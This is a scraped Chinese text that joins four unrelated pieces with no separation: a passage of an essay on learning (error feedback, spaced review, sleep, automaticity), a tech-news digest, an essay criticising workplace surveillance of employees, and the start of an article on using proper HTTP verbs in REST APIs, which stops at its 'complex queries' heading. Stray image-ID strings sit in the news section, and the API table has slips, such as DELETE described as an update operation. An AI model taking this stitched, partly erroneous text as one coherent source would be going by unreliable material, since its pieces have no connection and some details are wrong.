还有一个方法。这几年很多人在提,就是写作/输出。不少人把写作看做是最高级的主动学习,这样说有一定的道理。面对一张白纸写作属于「自由回忆」,无论是主题、框架,还是行文内容,全部要从头开始。这个过程中,大脑必须高度依靠内部的神经通路,去检索并重构已有的知识,这会让神经元重新激发一次完整的回路,极大地强化记忆。同时它还会督促你查资料、查缺补漏、重新学习。所以,越是自己花多功夫、反反复复推倒重来写的文章,里面的观点、内容、结构记得尤其牢固。更关键的是,这个过程中,很多原本想得很浅、模糊不清的问题会终于弄清楚,无异于一次高强度的深度加工。

写作(输出)对学习的正负影响

不过我有一个反面的感受:自己写出来的文章,很容易变成一种僵化的框架,后面再想同一个问题,会反复死守着这个思考框架,很难再做进一步突破和提升。想一想那些站在讲台上,翻来覆去讲同一套理论的专家教授就可以。这个现象有一个对应的术语叫「思维定式」(Luchins, 1942)。其实不光写作,任何学习都有可能导致这种情况。

想要突破已有的思维框架,就要不断补充吸收新的材料,同时引入下一个机制:错误反馈。

关于主动学习的关键词,除了正文中加粗的具体方法之外,还有以下一些关联概念:

  • 学习迁移(举一反三):主动学习的一种。括号中是老师喜欢说的词。
  • 反思(复盘):主动学习的一种。括号中是职场人士喜欢说的词。
  • 写作查资料(输出倒闭输入):主动学习的一种。括号中是装逼人士喜欢说的词。
  • 以教促学(费曼学习法):近年来特别流行的学习方法,是后人对物理学家费曼工作、学习方式的总结和再提炼。核心方法是让学习者用自己的语言,向一个无背景知识的对象讲授新学到的知识,从而查缺补漏、强化理解。虽然经常被滥用,但对普通学习者来说不失为一种有效的主动学习手段。
  • 思维导图:一种通过整合知识、建立局部逻辑关联的主动学习(建构型学习)方法。
  • 康奈尔笔记:一种通过特定的分区,在记录后进行提炼与反思的主动学习方法。

错误反馈

关于错误反馈这一点,我觉得特别重要,也是现在教育不太重视的一点。从小我们就被教育少犯错、最好不要犯错,但在脑科学看来,没有错误,就没有真正的学习。

大脑的学习机制,本质上和 AI 训练很像。都是基于一个粗糙的模型,不断地提出预测,然后再通过外部反馈来调节参数(对应的物理结构就是突触),从而不断优化。迪昂用「贝叶斯模型」来类比人脑,这一点我觉得还是挺深刻的。

我们生活中都有这样的感受:如果一件事和你预想的一样,那么它只是稍稍强化了一下已有的观念,你从中很难学到太多东西。但如果一件事情,不断地给你错误反馈,每次都会推翻你预想的结果,那么,你就会从这个事情中学到有价值的经验教训。换言之,通过这件事,你会不断地调整、优化你的心理模型,和现实更好地做匹配。

考试/测验

学习中,讲到错误反馈,就不得不提到很多人讨厌的考试/测验。

很多讲学习的书都给「考试」这件事正过名。考试/测验有两个明显的好处。一个是上面讲到的主动提取。每一次考试,其实都是在通过主动提取,对神经回路的一次重塑和加固,提取时感到越费力,比如考试题很难,花了很多时间冥思苦想,神经元受到的刺激就越强,记忆留存的效果就越好。二是错误反馈。如果考试只是为了得到一个分数,那么它的作用就大打折扣,它更重要的作用是帮你找出错误,提供一个明确的反馈,打破「我都学明白了」的错觉。以前每次考完试,老师会上一节课专门讲评卷子,还有现在提倡学生做错题整理,都是有科学依据的。所以,大家不妨更平和地看待分数,把它当成是自己学习的一个实时反馈,无疑更有助于提升学习效果。

之前少数派有个高赞的文章:工作最忙的 78 天,我用 ChatGPT 考了 CFA,用到的就是这个方法,利用AI把「自我测验」作为一种学习工具,尤其对付短期突击、目标是合格的考试,效果无疑远超听课、看书等常规方法。不过学生党要注意,如果是要扎实掌握的基础知识,还要通过上面讲过的方法来辅助理解,做好深度加工。

游戏

错误反馈也可以解释一个现象,为什么我们都对好的游戏那么上瘾。

大多数游戏都是及时反馈,你遇见一个怪物,一刀砍下去,怪没死,反而把你秒了。界面上立刻出现一个巨大的「Game Over」,再点击屏幕,就可以无痛回到打怪之前的初始状态。然后,你的大脑就会迅速修正策略:这次不能直接硬刚,可以试试远程攻击……这种「预测-尝试-错误-即时反馈」的循环,是学习效率最高的模式。

在孩子玩游戏的问题上,我感觉多数家长还是持消极态度的。担心游戏成瘾、伤眼睛是一方面,另一方面在于,大多数游戏确实没有什么营养,除了氪金花时间,学不到什么真东西。但理想状态下,如果学习可以借鉴游戏的机制,能够利用游戏化的方式把学习错误反馈变得更及时、更有趣,那无疑是天下学子的福音。b 站上有个物理老师用《塞尔达传说》教孩子力学原理,算是一个相当不错的案例。而很多人推崇的多邻国在我心中不算优秀,因为这个软件只有游戏的机制,实际要学的干货知识太少,不适用于动真格的语言学习。如果大家有什么这方面好的案例,也可以和我分享。

关于「错误反馈」,再补充如下一些关键词:

  • 必要难度:获得有效反馈的前提。只有在一定难度的挑战中,大脑才会暴露出错误,从而获得反馈。太轻松的学习是不会产生有效反馈的。(Bjork, 1994)
  • 学习区:类似「必要难度」,区别于舒适区、恐慌区,只有合适的难度才能有更好的学习效果。(Tichy, 2002)
  • 成长型思维:对应「固定型思维」,认为能力是可塑的。把错误看作是成长必经阶段。(Dweck, 2006)
  • 刻意练习:针对不会、做错、不熟练的地方进行高强度的训练,建立心理表征。能有效修正错误的连接、构建缺失的连接,是一种高效的学习方法。(Ericsson, 1993)
  • 错题整理:一种有效的学习习惯。建议在错题本上只保留正确的答案和解题过程,以免错题再次曝光,强化错误印象。

巩固

巩固也是学习中的必要一环,这一点非常直观,无需过多解释。

一提到巩固,首先就会想到记忆。没有后面的巩固,印象再深的知识也容易遗忘,这是每个学习者的常识。从神经科学角度解释,记忆是一个动态的生物化学过程。刚接收到的信息只是临时的电信号,非常脆弱。要把这些信号转变为长期的物理连接,神经元需要时间来加固突触。

关于这个机制,有一个经典比喻:学习好比盖房子,既要往上垒砖瓦,又要在砖瓦缝糊上水泥加固。要想把房子盖得牢,拼命地往上面垒砖头是不行的。盖一阵子歇一阵子,然后等水泥凝固了,再往上盖,这样才能最稳固。对应在学习中,无论新知识的学习,还是复习巩固已有知识,相比集中强化学习,「分散学习」的长期记忆效果往往更好。

间歇学习/复习/训练

关于「分散学习」,最经典的应用就是间歇学习或复习,此外还有学习和测试相互交织的间隔训练等。

想必大家都听过,这个方法源自德国心理学家艾宾浩斯 19 世纪末绘制的「遗忘曲线」(Ebbinghaus, 1885),它告诉我们:新学的知识,最初的 20 分钟后就会遗忘 42%,一天后会遗忘 66%。如果不加干预,剩下的记忆都会随着时间迅速衰减,一个月后只记得 21%。但需要留意的是,艾宾浩斯做实验用的是无意义的字母组合,如 DAX, BOK, QUH, RUF,这和我们在课堂上学到的可理解、深加工的知识还是不太一样的。

assets/Pasted image 20230918143737.png

实际学习中,如何设计间隔重复,并不一定要严苛地执行统一标准。一般来说,把同一节课重复学两次,只有当间隔时长达到 24 小时(一整天)后,才会观察到学习效果明显改善。如果是 GRE 单词级别、需要死记硬背的知识点,可以适当缩短一些复习时间,按个人习惯做适当调整。

如果追求高效率的记忆间隔,一个经验法则是,按照你期望的记忆留存时间(比如五个月后考试),取 20% 作为间隔长度来进行复习,也就是每月复习一次;如果想再科学一些,可以前期适当安排得紧密一些,从隔天复习,到三天后,再到一周后、两周后,后面每月再复习一次。这种策略能保持一个不错的记忆存储效果。细想想,我们上学时的课程设置:学习当晚做习题巩固、第二天老师上课抽查复习、周末做单元习题、每月小考、每学期期中、期末两次大考,其实还是挺科学的。

睡眠

还有一个被吹爆的学习神器,就是睡眠——没错,高质量的睡眠,能够让学习者「躺赢」,这点绝非夸大其词。

关于睡眠影响学习效果的研究有很多。有研究发现,睡眠能增强记忆。当人睡着之后,前一天学到的知识会在大脑中继续巩固,第二天一早遗忘的程度很少,所以不少学习书会把「睡前学习」或睡前主动回想一天学的知识看做是一个黄金法则。还有一些研究发现,大脑在睡眠时,会清理白天积聚的有毒物质,修剪无关的突触,有助于发现一些醒着时难以注意的规律。很多时候,白天百思不得其解的难题,睡一觉起来突然有了灵感。最有名的就是苯环结构的发现。现在很多人都知道,考前与其通宵突击一晚,不如少学一点,早睡一点,效果有可能更好。

有关睡眠的研究很多,大家可以自行探索。其实记住一个原则就好:尊重作息规律,保护好睡眠,无论对身体健康,还是对学习,都有益无害。尤其是儿童和青少年,早点睡比多做几道题重要多了,家长一定要学会取舍。

自动化

迪昂的书里,提到另一种形式的巩固——那就是通过反复练习、不断强化,把需要大脑皮层来完成的功能,逐渐「自动化」,变成大脑下意识就能运转的技能。像是骑自行车、开车、母语阅读、九九乘法表……类似的基础知识都要经历这样一个过程,通常需要数月,甚至数年才能完成。

这样做的好处是,技能或知识一旦熟练以后,会转到后台处理,大脑的带宽和主动注意就能得到解放,可以更高效地同时处理其他信息。最直观的例子,莫过于我们在使用母语和外语时的巨大反差。阅读中文时,我们可以一目十行,而在阅读外语时,哪怕每个词都认识,大脑也需要额外的时间处理。这种微小的卡顿累积起来,就是巨大的认知负担。这就是为什么很多留学生会有「降智」的体验:明明逻辑清晰、学识渊博,但因为语言水平的限制,所有的注意力都花在了语言本身,显得反应迟钝、谈吐拙劣。要解决这个问题,没有任何捷径,唯有花大量的时间做好语言积累。

关于「自动化」的话题,看过畅销书《思考,快与慢》的朋友不会陌生。这本书里用「系统 1」和「系统 2」指代上面这两类思考,和以上的内容异曲同工。这本书的作者是丹尼尔·卡尼曼,是历史上第一位获得诺贝尔经济学奖的心理学家,书写得也很通俗,感兴趣的朋友可以拓展阅读。

精读笔记|一文读透《思考,快与慢》 | Xmind 博客
网友给《思考,快与慢》制作的思维导图

其他相关词汇:

  • 工作记忆/短期记忆:大脑对当前接受的信息进行暂存和加工的短时期记忆。容量有限(通常只能容纳 4-7 个单位),且容易丢失。如果不做深度加工,一般 15-30 秒后就会丢失不见。
  • 长期记忆:和「工作记忆」相对。容量几乎无限,且保存时间长。学习的一个核心目的,就是要通过各种手段,把工作记忆中脆弱的、临时的信息,转化后存储到长期记忆中。
  • 组块:把知识打包、整合成更大、更复杂的结构。组块越大,大脑处理信息的效率就越高。
  • 认知负荷:「自动化」的对应概念。指大脑在处理任务时所承受的压力,类似电脑的 CPU 占用率。所谓自动化,就是通过反复练习,把基础技能的认知负荷降到接近于零的过程。

写在后面

《关于「学习」一些流传甚广的误读和迷思》一文得到如此多的认可,谢谢大家的鼓励。

坦率讲,要把「学习」这么一件复杂的事情讲清楚并非易事。写作过程中,我深感自己能力的局限,为此查阅了大量资料,输出倒逼输入:)除了迪昂的《精准学习》,还有前后两篇文章提及的书目以外,微观机制的部分还参考了电子工业出版社引进的《神经科学——探索脑(第4版)》这本大部头教材。如有错漏,还请大家多多批评和指正。

下一节,我想先讲一讲学习中特别重要的一环「记忆」。如果有对其他话题的朋友,也请留言推荐。

    SK 海力士称并未有计划退出消费级存储器市场

    针对近日市场流传的「SK 海力士计划停产消费级存储器」相关消息,SK 海力士向界面新闻记者表示,公司目前未探讨或规划退出消费者用产品事业,相关说法并不准确。

    SK 海力士在去年披露的内部会议中指出,大宗 DRAM 产能增长将趋于有限,难以追上持续攀升的需求,可能进一步推高内存价格。根据消息人士 BullsLab 分享的会议 PPT,SK 海力士预测,除高带宽内存(HBM)和 SOCAMM 模块外,大宗 DRAM 在 2028 年以前的产能增长都将受到限制。其主要原因在于主流内存厂商逐步将更多产能资源转向 AI 相关需求,消费级市场获得的产能分配增幅并不明显。来源


    市场监管总局依法对携程集团有限公司立案调查

    近日,市场监管总局根据前期核查,依据《中华人民共和国反垄断法》,对携程集团有限公司涉嫌滥用市场支配地位实施垄断行为立案调查。来源

    携程表示

    近日,携程接到国家市场监管总局通知,依法对携程涉嫌垄断行为进行立案调查。公司将积极配合监管部门调查,全面落实监管要求,与行业各方携手共建可持续发展的市场环境。目前,公司各项业务均正常运行,将一如既往地为广大用户和合作伙伴提供优质的服务。


    影石发布网络摄像头 Link 2 Pro 系列

    影石旗舰网络摄像头 Link 2 Pro 系列于 1 月 14 日正式发布。

    Link 2 Pro 系列包含影石 Insta360 Link 2 Pro 与 Link 2C Pro 两个型号,均采用 1 / 1.3 英寸大底传感器,支持 4K 超高清分辨率,影石 Link 2 Pro 系列适合夜间或光线不足的室内会议与直播场景。Link 2 Pro 系列还引入了双原生 ISO 技术,并针对 HDR 模式优化;同时内置指向性麦克风,在开放式工位或户外嘈杂环境下也能实现清晰收音。其他细节上,Insta360 Link 2 Pro 自带跟踪云台,而 Link 2C Pro 则为固定支架。

    RETqbZ8fsoQIVDxb3SnchCWPnig

    在功能方面,Link 2 Pro 系列支持 Link Controller,通过 AI 算法实现主体与背景分离,可获得接近单反效果的自然景深。产品还配备 AI 追踪与双轴云台,支持自动构图,可与 Wave 稳定器实现无缝连接,并支持自动识别发言人等功能。

    售价方面,影石 Insta360 Link 2 Pro 起售价格为 1758 元;影石 Insta360 Link 2C Pro 起售价格为 1398 元。来源


    Google Chrome 浏览器将重新支持 JPEG-XL 图像格式

    Google 于 1 月 13 日将 JPEG-XL 图像格式重新集成至 Chromium 浏览器内核。该功能基于 Rust 语言编写的安全解码器 jxl-rs 实现,以满足 Chromium 的安全要求。目前,JPEG-XL 支持默认处于关闭状态,用户需在 chrome://flags 页面中启用 #enable-jxl-image-format 选项后方可使用。

    Chromium 曾在早期版本中支持 JPEG-XL。但 Google 于 2022 年随 Chrome 110 更新移除了该格式支持,理由是采用该格式的网站数量有限。此后,Google 将重点转向推动 AVIF 图像格式的普及。

    值得注意的是,PDF 协会在去年年底将 JPEG-XL 指定为 PDF 文件中嵌入 HDR 图像的首选格式。来源


    Apple 确认 iOS 版 Pixelmator 停更

    Apple 于 1 月 13 日发布 iPad 版 Pixelmator Pro 及 Apple Creator Studio 订阅服务。同时,Apple 也在官网底部的问答(Q&A)板块披露了现有 iOS 版 Pixelmator 与 Photomator 两款应用的后续规划。

    Apple 明确表示,Pixelmator 将不再获得更新。该应用目前仍保留裁剪、调色和特效等基础图像编辑功能,用户可继续正常使用。另一款应用 Photomator 将继续作为独立商品在 App Store 上架,并有望在未来获得持续的功能更新与支持。来源


    瀚斯宝丽推出 Lumo 阅读平板

    Hannspree(瀚斯宝丽)于 1 月 14 日发布 Lumo 阅读平板。该产品面向低功耗阅读场景,采用 7.8 英寸反射式 LCD 屏幕,不配备背光,通过环境光反射实现接近墨水屏的显示效果。

    UDVjbWL8xoFfMtxnlY7cxTf3nSf

    在硬件规格方面,Lumo 配备分辨率为 1024 × 768、刷新率 60 Hz 的显示面板,搭载联发科 Helio G99 处理器,内置 3000 毫安时电池,并提供 5 MP 前置摄像头和 8 MP 后置摄像头。

    为提升暗光环境下的使用体验,Hannspree 为该机提供可选的前置补光灯配件。官方数据显示,在补光灯开启且亮度调至最高的情况下,设备仍可实现约 6.5 小时续航。价格方面,Hannspree Lumo 为 369 欧元。来源


    佳明发布 quatix 8 Pro 航海智能手表

    佳明于 1 月 13 日发布旗舰级航海智能手表 quatix 8 Pro。该产品面向远洋及专业航海场景,集成 inReach 卫星通信技术与 LTE 蜂窝网络模块,旨在缓解海上环境中常见的通信与信号覆盖问题。

    S2UPbSd5Goawtxxv4CtcNXKbnye

    官方表示,即便用户身处离岸约 50 英里(约 80.5 公里)的海域,quatix 8 Pro 也可在不依赖手机的情况下完成短信收发、语音通话及查看实时天气信息。手表内置 SOS 紧急求救功能,遇到突发情况时,用户可直接通过设备向 24 小时值守的 Garmin Response 应急响应中心发送求救信号。

    在软件层面,佳明为 quatix 8 Pro 引入船载模式(Boat Mode)。当系统识别用户处于航海环境时,会将自动驾驶仪控制、拖钓马达状态及船舶数据等功能置于优先位置;上岸后,界面将切换回以日常应用和健康数据为主的布局,来适应办公或运动等使用场景。

    硬件方面,quatix 8 Pro 采用 47 mm 钛金属表圈与蓝宝石玻璃镜面,配备 1.4 英寸高亮度 AMOLED 显示屏。在智能手表模式下,电池续航时间最长可达 15 天。除航海相关功能外,该设备还支持全天候健康监测、Garmin Pay 非接触式支付,并内置超过 100 种运动模式,涵盖尾波冲浪、滑水等水上项目。佳明表示,quatix 8 Pro 计划于 2026 年 1 月 16 日上市,起售价为 1299.99 美元。来源


    宜家推出 Kallsup 蓝牙音箱

    宜家在 CES 2026 展会期间发布 Kallsup 便携式蓝牙音箱。该产品采用立方体造型设计,主打低价与便携特性,机身尺寸约为 70 × 70 × 70 毫米,使用塑料外壳,底部配备防滑脚垫,适合随身携带或桌面使用。

    Ye2FbCIy4oY4zFxLfJ5cZW7znAg

    在配色方面,Kallsup 提供亮粉色、亮绿色和白色三种选择。连接规格上,音箱支持蓝牙 5.3,并引入「广播模式」。官方称,该模式下最多可同时无线连接 100 台 Kallsup 音箱,以扩展播放覆盖范围。

    机身仅配备电源和蓝牙配对两枚实体按键,并通过声音提示反馈操作状态。续航方面,Kallsup 内置可充电电池,采用 USB-C 接口充电。官方数据显示,在 50 % 音量条件下可连续播放约 9 小时。宜家表示,Kallsup 计划于 2026 年 4 月上市,售价为 10 美元。来源


    智谱联合华为开源首个国产芯片训练的多模态 SOTA 模型 GLM-Image

    智谱于 1 月 14 日宣布联合华为开源新一代图像生成模型 GLM-Image。该模型基于昇腾 Atlas 800T A2 计算设备与昇思 MindSpore AI 框架,完成从数据处理到模型训练的全流程开发。智谱表示,GLM-Image 是首个在国产 AI 芯片平台上完成全程训练的 SOTA 多模态模型。

    在模型结构上,GLM-Image 采用自研的「自回归 + 扩散解码器」混合架构,实现图像生成模型与语言模型的联合建模。通过优化 Tokenizer 设计,模型可自适应处理不同分辨率输入,原生支持从 1024 × 1024 到 2048 × 2048 尺寸、任意比例的图像生成任务,无需针对分辨率单独训练。

    在应用表现方面,智谱介绍称,GLM-Image 在包含复杂逻辑关系和文字说明的图像生成任务中表现稳定,适用于科普插画、原理示意图等场景。在电商图片、多格漫画等内容创作中,模型能够在多张图像之间保持主体与风格一致,并提升文字生成的准确性。此外,该模型也适用于社交媒体封面、海报及商业宣传图等版式较为复杂的视觉内容生成。

    除文字与版式相关任务外,GLM-Image 还支持人像、宠物、风景及静物等不同题材和景别的图像生成。该模型目前已经在 GitHubHugging Face 以及魔搭社区开源发布。


    看看就行的小道消息

    • 近日,一款新奇的 App 「死了么」登顶国区 App Store 付费 App 排行榜榜首。App 团队基于目前 App 在海外也赢得爆发式增长的情况下,决策正式将 App 全球化品牌名更新为「Demumu」。与此同时,官方团队昨晚发布社交媒体信息,诚邀网友提供更有创意的中文名。来源
    • 据央视新闻报道,当地时间 1 月 13 日,美国政府批准英伟达向中国出口 H200 人工智能芯片。该决定预计将恢复 H200 芯片对中国客户的出货。此前,美国总统特朗普已通过社交媒体表示,美方将允许英伟达对华销售 H200 芯片。相关销售由美国商务部负责审批及安全审查。同时,美方还将从相关交易中收取约 25 % 的费用。在其他相关信息方面,英伟达发言人此前在接受《环球时报》采访时表示,合规向中国授权客户销售 H200 芯片,不会影响公司对全球其他市场的供货能力。另据腾讯科技援引知情人士消息,英伟达 H200 的 8 卡模组渠道单价约为 140 万元,价格高于 H20。从性能密度(TPP)来看,H200 的算力值达到 15832,约为 H20 的 6.7 倍。来源
    • 据路透社报道,据多名知情人士披露,中国海关部门已于本周通知相关关员,不允许进口英伟达 H200 人工智能芯片。同时,中国政府官员召集国内科技企业开会,明确要求企业原则上不得采购 H200 芯片,除非存在不可替代的必要性。相关指示未说明具体原因,也未明确属于正式禁令还是临时措施。目前也暂不清楚,已下订单的 H200 芯片是否受到影响。来源


    少数派的近期动态

    • 年末「夯」一下!少数派 2025 年度盘点正式上线
    • 少数派会员年终福利来袭,引荐比例限时上调至 15%,邀请好友享 85 折入会优惠。参与活动
    • 好玩又实用,还有迪士尼授权配件可选,少数派「扭扭宝」充电宝火爆开售。来一个试试
    • GAMEBABY for iPhone 17 Pro & 17 Pro Max 系列现已上市。进一步了解
    • 《蓝皮书》系列新版上架,一起探索全新 iOS 和 macOS 的精彩。试读并选购

    你可能错过的好文章

    > 下载 少数派 2.0 客户端、关注 少数派公众号,解锁全新阅读体验 📰

    > 实用、好用的 正版软件,少数派为你呈现 🚀

      今天看到微博上有一个热点事件, 是一个关于某公司做的一个监控员工离职倾向的软件,从截图中可以看到员工访问招聘网站的次数,还有投递的简历以及搜索的关建词等等信息,通过这些信息分析员工的离职倾向。然后我发一个微博,说了一下,我以前工作过的公司无论外国公司还是中国公司都有这样的情况,收到一些人来问我相关的情况,所以,我想还是写篇文章详细地说一下,我对这种事情的看法。

      本文分成下面个部分:

      • 公司监控员工的技术手段有哪些?
      • 为什么要监控员工?
      • 外企和国企有什么不一样?
      • 我对此事的看法

      目录

      技术手段

      下面是我经历过的几个手段:

      1)通过网络嗅探的方式。也就是说,你只要上了公司的网络,你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然,这样的手段已经不怎么好用了,因为现在的网络基本上都是HTTPS加密的,网络嗅探的方式只能知道你访问了什么IP,对于其中的数据是没有办法知道的。

      2)通过使用公司提供的软硬件工具。你使用公司的电子邮箱,浏览器(或是公司的代理服务器),通讯工具(包括语音电话),手机办公应用……等来处理你的个人事宜的时候,必然会被监控。这样,你只需要不要使用公司的软件来处理自己的私事就好了。

      3)通过安装一个监控程序。这个是最可怕的了,因为无论你加不加密都没用了。一般来说,你不安装这个程序,你就没有办法连上网络,包括公司内网和外网。这个监控程序,会收集你电脑或手机上能够收集的到的所有的信息,比如,你的网络信息,按键操作,录屏,软件数据……等等。

      4)办公区监控。我见过的还有使用摄像头,在会议室中安装声音和视频监控设备,对整个办公区内发生所有的事情进行监控。

      5)通过爬虫。通过爬虫分析员工的社交平台上的各种言论,包括招聘网站。除了公司需要分布和自己相关的舆情,同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……

      公司监控的目的

      公司监控的目的最早就是为了防止自己公司内的数据和信息外泄,所以,他们害怕自己的员工访问了什么不合适的网站,或是下载了什么有恶意的软件,或是不小心发错了邮件。另外一些公司也会使用外包人员,所以,对于外部编制的人员更需要有信息泄漏防范的安全需求。当然,也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司,如我以前呆过的Thomson Reuters,这家公司主要是卖金融数据的,所以,对信息泄漏是非常注重的,其就是需要在员工的电脑上安装监控软件。

      还有一些劳动密集型的工作,比如在Amazon里的仓库里工作的人,公司会监控员工的工作量,以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量,我到今天仅见过监控外包人员的,在中国,外包人员需要使用甲方的电脑进行签到和签退,以及相关的工作。除了上述的信息安全目前,还能够看到员工的工作时长的情况。

      所以,一般来说,公司监控的目的主要是为了自己的信息安全,还有员工的工作量评估,一般来说,不会涉及员工的隐私

      但是,随着收集的数据越来越多,有些公司发现还可以做更多的事,比如,上述的员工离职倾向的分析。还有一些公司还会收集员工在外网的数据,比如你在社交平台上的各种言论,来分析你对公司的忠诚度和你的价值观取向……我个人觉得这些已经令人不耻了。

      外企与国企不同之处

      我经历过的公司中,外国公司和中国公司都有监控的经历,这里说一下他们的不一样之处。最大的不一样的地方是,外国公司会让你有知情权,而中国公司则完全没有

      我记得我进入Thomson Reuters 公司的时候,公司要求签署一份监控的知情的同意书,其中用中英文写的,就是说,你授权公司监控你的如下这些信息:1)上网记录,2)下载的软件,3)工作电脑,4)公司的座机电话,5)会议室和办公区的语音和视频监控……大概有两页A4纸,然后也说明了这些数据公司仅用于信息安全的风控,不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的,并且对双方都有法律约束的。

      中国的公司则不会告诉你他们会监控你哪些数据,而这些数据拿来做什么。 我记得我在某公司工作的时候,就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……

      我对此事的看法

      一方面,我对于公司通过使用监控软件监控员工的行为我是能够理解的,但是,应该让员工有知情权,并和员工明确一个监控的信息和范围,包括收集的数据的用途和安全措施,以及数据多长时间销毁的协议。如果没有这个协议的话,我觉得本质上就是一种流氓行为。

      另一方面,针对监控员离职的倾向来说,我实在不知道有什么意义?公司你知道了又能如何呢?你是要找员工作思想工作,还是要给员工更好的待遇,还是直接开掉?如果你对自己的企业有信心,你就不必担心员工会离开,如果你的企业有问题,你为什么不把心思花在建设自己的企业上来呢?安装这样的监控软件对于企业没有什么帮助,反而只会让你的企业的形象更low……

      再仔细想想,员工有一万种方法泄漏你公司的信息,无论你怎么监控,只要他想,他总是能够找到方法的,不是么?如何让找到或是培养有职业操守的员工,如何管理自己企业的商业信息,如何建立一个更好的企业文化让员工更有归属感,成为企业的共同体,一同维护共同利益,为企业着想,这不才是公司真正应该干的事吗?!监控员工充分暴露了这样的企业没有一个好的企业文化,不懂得高级的管理,所以,只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。

      写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——

      “对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”

      然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。

      这篇文章主要分成下面这几个部分:

      1. 为什么要用不同的HTTP动词?
      2. Restful 进行复杂查询
      3. 几个主要问题的回应
        • POST 更安全吗?
        • 全用 POST 可以节省时间沟通少吗?
        • 早点回家的正确姿势
        • 工作而已,优雅不能当饭吃

      目录

      为什么要用不同的HTTP动词

      编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。

      • 业务逻辑。就是你实现业务需求的功能的代码,就是跟用户需求强相关的代码。比如,把用户提交的数据保存起来,查询用户的数据,完成一个订单交易,为用户退款……等等,这些是业务逻辑
      • 控制逻辑。就是我们用于控制程序运行的非功能性的代码。比如,用于控制程序循环的变量和条件,使用多线程或分布式的技术,使用HTTP/TCP协议,使用什么样数据库,什么样的中间件……等等,这些跟用户需求完全没关系的东西。

      网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。

      HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。

      下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods

      方法 描述 幂等
      GET 用于查询操作,对应于数据库的 select 操作 ✔︎
      PUT 用于所有的信息更新,对应于数据库的 update 操作 ✔︎︎
      DELETE 用于更新操作,对应于数据库的 delete 操作 ✔︎︎
      POST 用于新增操作,对应于数据库的 insert 操作
      HEAD 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 ✔︎
      PATCH 用于局部信息的更新,对应于数据库的 update 操作
      OPTIONS 获取API的相关的信息。 ✔︎

      其中,PUT 和 PACTH 都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT 用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH 则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。

      当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login 你觉得这个API应该是 GETPOSTPUT 还是 PATCH ?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET ,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST,而 /logout 你可以使用 DELETE这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。

      另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。

      • POST 用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的
      • DELETE 用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的
      • PUT 用于全部数更新,所以,是幂等的。
      • PATCH用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。

      幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。

      除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:

      • 缓存。通过CDN或是网关对API进行缓存,很显然,我们要在查询GET 操作上建议缓存。
      • 流控。你可以通过HTTP的动词进行更粒度的流控,比如:限制API的请用频率,在读操作上和写操作上应该是不一样的。
      • 路由。比如:写请求路由到写服务上,读请求路由到读服务上。
      • 权限。可以获得更细粒度的权限控制和审计。
      • 监控。因为不同的方法的API的性能都不一样,所以,可以区分做性能分析。
      • 压测。当你需要压力测试API时,如果没有动词的区分的话,我相信你的压力测试很难搞吧。
      • ……等等

      也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET 表示是读操作,POST表示是写操作。

      Restful 复杂查询

